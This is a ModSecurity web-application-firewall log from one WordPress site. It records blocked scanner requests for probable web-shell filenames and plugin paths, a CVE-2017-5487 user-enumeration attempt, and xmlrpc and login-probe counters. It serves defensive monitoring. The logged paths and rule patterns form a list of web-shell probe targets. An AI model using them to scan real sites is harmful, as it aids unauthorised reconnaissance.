[Tue Nov 11 20:40:15.313280 2025] [:error] [pid 36673:tid 36696] [client 136.144.19.232:40421] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aRMuryvASiSDHs9bkfccFwAAAJU"]
[Tue Nov 11 20:40:16.937536 2025] [:error] [pid 36580:tid 36650] [client 136.144.19.63:61235] [client 136.144.19.63] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aRMusJaaFQZGE3H9yOHdbwAAAEw"]
[Tue Nov 11 20:40:17.433530 2025] [:error] [pid 43205:tid 43219] [client 136.144.19.232:65031] [client 136.144.19.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aRMusb48SbhIkX6TjwOfmgAAAQs"]
[Tue Nov 11 20:40:17.941572 2025] [:error] [pid 36580:tid 36642] [client 136.144.19.234:36129] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aRMusZaaFQZGE3H9yOHdcwAAAEQ"]
[Tue Nov 11 20:40:18.443180 2025] [:error] [pid 43205:tid 43231] [client 136.144.19.62:48399] [client 136.144.19.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aRMusr48SbhIkX6TjwOfnAAAARc"]
[Tue Nov 11 20:40:18.941788 2025] [:error] [pid 43205:tid 43225] [client 216.24.219.143:24779] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "aRMusr48SbhIkX6TjwOfnwAAARE"]
[Tue Nov 11 20:40:19.439756 2025] [:error] [pid 36579:tid 36612] [client 193.36.224.114:26021] [client 193.36.224.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "aRMus-muedRSntjwLw6PWQAAAAE"]
[Tue Nov 11 20:40:19.935777 2025] [:error] [pid 36579:tid 36625] [client 193.36.224.140:34283] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "aRMus-muedRSntjwLw6PXAAAAA4"]
[Tue Nov 11 20:40:20.443819 2025] [:error] [pid 36579:tid 36633] [client 136.144.19.72:32461] [client 136.144.19.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRMutOmuedRSntjwLw6PXwAAABY"]
[Tue Nov 11 20:40:20.940979 2025] [:error] [pid 36578:tid 36590] [client 216.24.219.143:61063] [client 216.24.219.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aRMutEMi03XeylcOo5XeswAAAMc"]
[Tue Nov 11 20:40:21.436100 2025] [:error] [pid 43205:tid 43209] [client 193.36.224.140:44777] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aRMutb48SbhIkX6TjwOfoQAAAQE"]
[Tue Nov 11 20:40:21.930732 2025] [:error] [pid 43205:tid 43221] [client 136.144.19.234:29067] [client 136.144.19.234] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aRMutb48SbhIkX6TjwOfpQAAAQ0"]
[Tue Nov 11 20:40:22.427670 2025] [:error] [pid 36578:tid 36597] [client 136.144.19.64:41533] [client 136.144.19.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRMutkMi03XeylcOo5XeuQAAAM4"]
[Tue Nov 11 20:40:22.929894 2025] [:error] [pid 36580:tid 36641] [client 216.24.219.212:25869] [client 216.24.219.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRMutpaaFQZGE3H9yOHddgAAAEM"]
[Tue Nov 11 20:40:23.443757 2025] [:error] [pid 43205:tid 43223] [client 216.24.219.196:23163] [client 216.24.219.196] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aRMut748SbhIkX6TjwOfsAAAAQ8"]
[Tue Nov 11 20:40:23.942667 2025] [:error] [pid 43205:tid 43221] [client 136.144.19.67:53315] [client 136.144.19.67] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/zwso.php"] [unique_id "aRMut748SbhIkX6TjwOftgAAAQ0"]
[Tue Nov 11 20:40:24.435127 2025] [:error] [pid 36578:tid 36583] [client 136.144.19.54:57087] [client 136.144.19.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aRMuuEMi03XeylcOo5XeygAAAMA"]
[Tue Nov 11 20:40:24.929626 2025] [:error] [pid 36580:tid 36647] [client 136.144.19.226:43771] [client 136.144.19.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aRMuuJaaFQZGE3H9yOHddwAAAEk"]
[Tue Nov 11 20:40:25.424528 2025] [:error] [pid 43205:tid 43211] [client 136.144.19.78:21657] [client 136.144.19.78] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "aRMuub48SbhIkX6TjwOfxgAAAQM"]
[Tue Nov 11 20:40:25.916679 2025] [:error] [pid 36580:tid 36656] [client 216.24.219.167:23597] [client 216.24.219.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aRMuuZaaFQZGE3H9yOHdeAAAAFI"]
[Tue Nov 11 20:40:27.426128 2025] [:error] [pid 36580:tid 36642] [client 136.144.19.77:33901] [client 136.144.19.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aRMuu5aaFQZGE3H9yOHdeQAAAEQ"]
[Tue Nov 11 20:40:27.918409 2025] [:error] [pid 36580:tid 36659] [client 136.144.19.74:51179] [client 136.144.19.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "aRMuu5aaFQZGE3H9yOHdegAAAFU"]
[Tue Nov 11 20:40:28.408326 2025] [:error] [pid 43205:tid 43226] [client 216.24.219.195:62699] [client 216.24.219.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/lufix1.php"] [unique_id "aRMuvL48SbhIkX6TjwOf0AAAARI"]
[Tue Nov 11 20:40:28.920961 2025] [:error] [pid 36673:tid 36688] [client 136.144.19.228:42579] [client 136.144.19.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/witmm.php"] [unique_id "aRMuvCvASiSDHs9bkfccIAAAAI0"]
[Tue Nov 11 20:40:29.436779 2025] [:error] [pid 43205:tid 43215] [client 193.36.224.140:50913] [client 193.36.224.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "aRMuvb48SbhIkX6TjwOf0wAAAQc"]
[Tue Nov 11 20:40:29.929284 2025] [:error] [pid 36673:tid 36676] [client 136.144.19.60:38145] [client 136.144.19.60] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "aRMuvSvASiSDHs9bkfccIQAAAIE"]
[Tue Nov 11 20:40:30.432056 2025] [:error] [pid 36579:tid 36624] [client 136.144.19.77:59027] [client 136.144.19.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "aRMuvumuedRSntjwLw6PYwAAAA0"]
[Tue Nov 11 20:40:31.027955 2025] [:error] [pid 36580:tid 36657] [client 136.144.19.227:21973] [client 136.144.19.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files.php"] [unique_id "aRMuv5aaFQZGE3H9yOHdewAAAFM"]
[Tue Nov 11 20:40:31.532071 2025] [:error] [pid 36579:tid 36619] [client 136.144.19.219:50317] [client 136.144.19.219] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-editor.php"] [unique_id "aRMuv-muedRSntjwLw6PZgAAAAg"]
[Tue Nov 11 20:49:19.331949 2025] [:error] [pid 36580:tid 36642] [client 85.206.169.20:48364] [client 85.206.169.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.206.169.20, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRMwz5aaFQZGE3H9yOHgEAAAAEQ"]
[Tue Nov 11 21:02:10.359730 2025] [:error] [pid 43205:tid 43212] [client 43.157.95.131:56076] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRMz0r48SbhIkX6TjwOoJgAAAQQ"]
[Tue Nov 11 21:11:01.157488 2025] [:error] [pid 36579:tid 36635] [client 183.82.7.39:60130] [client 183.82.7.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.7.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRM15emuedRSntjwLw6W2wAAABg"]
[Tue Nov 11 21:11:53.768122 2025] [:error] [pid 36673:tid 36681] [client 103.175.169.130:45645] [client 103.175.169.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.169.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRM2GSvASiSDHs9bkfclagAAAIY"]
[Tue Nov 11 21:15:57.771097 2025] [:error] [pid 36580:tid 36662] [client 178.88.168.54:40162] [client 178.88.168.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.88.168.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRM3DZaaFQZGE3H9yOHm6AAAAFg"]
[Tue Nov 11 21:16:39.806119 2025] [:error] [pid 36673:tid 36682] [client 103.175.169.130:45815] [client 103.175.169.130] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRM3NyvASiSDHs9bkfcmzQAAAIc"]
[Tue Nov 11 21:18:04.380652 2025] [:error] [pid 36579:tid 36624] [client 103.175.169.130:46375] [client 103.175.169.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.175.169.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRM3jOmuedRSntjwLw6YywAAAA0"]
[Tue Nov 11 22:10:04.569007 2025] [:error] [pid 47931:tid 47953] [client 213.209.143.137:60362] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNDvDWP7ptQ6Y-gz68c-wAAAVM"]
[Tue Nov 11 22:10:05.088747 2025] [:error] [pid 47931:tid 47954] [client 213.209.143.137:49560] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNDvTWP7ptQ6Y-gz68dAwAAAVQ"]
[Tue Nov 11 22:10:05.609166 2025] [:error] [pid 47859:tid 47885] [client 213.209.143.137:56924] [client 213.209.143.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/excel-like-price-change-for-woocommerce-and-wp-e-commerce-light/readme.txt"] [unique_id "aRNDvaRzLR7egYHK_4d5pAAAABU"]
[Tue Nov 11 22:55:12.239689 2025] [:error] [pid 47931:tid 47943] [client 103.125.160.2:62559] [client 103.125.160.2] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRNOUDWP7ptQ6Y-gz68wnwAAAUk"]
[Tue Nov 11 23:01:04.194474 2025] [:error] [pid 47931:tid 47948] [client 103.125.160.2:51323] [client 103.125.160.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.125.160.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRNPsDWP7ptQ6Y-gz68y4AAAAU4"]
[Tue Nov 11 23:02:24.082054 2025] [:error] [pid 47859:tid 47870] [client 103.125.160.2:52131] [client 103.125.160.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.125.160.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRNQAKRzLR7egYHK_4eNrQAAAAY"]
[Tue Nov 11 23:02:32.667814 2025] [:error] [pid 49628:tid 49650] [client 185.223.152.39:55743] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aRNQCL82AgnfnwL7V2ZPEgAAAJQ"]
[Tue Nov 11 23:02:58.319821 2025] [:error] [pid 47859:tid 47869] [client 185.223.152.62:63811] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-parsidate/includes/admin/acf-fields-adyrui.php"] [unique_id "aRNQIqRzLR7egYHK_4eN4wAAAAU"]
[Tue Nov 11 23:03:03.969373 2025] [:error] [pid 47964:tid 47986] [client 185.223.152.39:32439] [client 185.223.152.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/new.php"] [unique_id "aRNQJ16CQC3ebUS5pkQbCAAAAZM"]
[Tue Nov 11 23:03:04.618665 2025] [:error] [pid 47931:tid 47951] [client 185.223.152.40:34223] [client 185.223.152.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "aRNQKDWP7ptQ6Y-gz68zkgAAAVE"]
[Tue Nov 11 23:03:15.286719 2025] [:error] [pid 47964:tid 47986] [client 185.223.152.58:26593] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aRNQM16CQC3ebUS5pkQbFwAAAZM"]
[Tue Nov 11 23:03:25.946689 2025] [:error] [pid 47859:tid 47867] [client 185.223.152.52:63303] [client 185.223.152.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/erinyani/default.php"] [unique_id "aRNQPaRzLR7egYHK_4eOAQAAAAM"]
[Tue Nov 11 23:04:11.655768 2025] [:error] [pid 47964:tid 47977] [client 185.223.152.62:37339] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mail.php"] [unique_id "aRNQa16CQC3ebUS5pkQbkAAAAYo"]
[Tue Nov 11 23:04:17.310952 2025] [:error] [pid 49628:tid 49650] [client 185.223.152.62:44697] [client 185.223.152.62] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xml.php"] [unique_id "aRNQcb82AgnfnwL7V2ZP4QAAAJQ"]
[Tue Nov 11 23:04:17.965884 2025] [:error] [pid 49628:tid 49639] [client 185.223.152.53:65313] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/css.php"] [unique_id "aRNQcb82AgnfnwL7V2ZP4wAAAIk"]
[Tue Nov 11 23:04:43.615468 2025] [:error] [pid 47931:tid 47955] [client 185.223.152.53:55865] [client 185.223.152.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aRNQizWP7ptQ6Y-gz680JAAAAVU"]
[Tue Nov 11 23:04:44.394884 2025] [:error] [pid 47859:tid 47880] [client 185.223.152.58:21461] [client 185.223.152.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/content.php"] [unique_id "aRNQjKRzLR7egYHK_4eOZgAAABA"]
[Tue Nov 11 23:04:44.467396 2025] [:error] [pid 47860:tid 47914] [client 103.125.160.2:54086] [client 103.125.160.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.125.160.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRNQjKPe6bkmJWx80CzmtQAAAFc"]
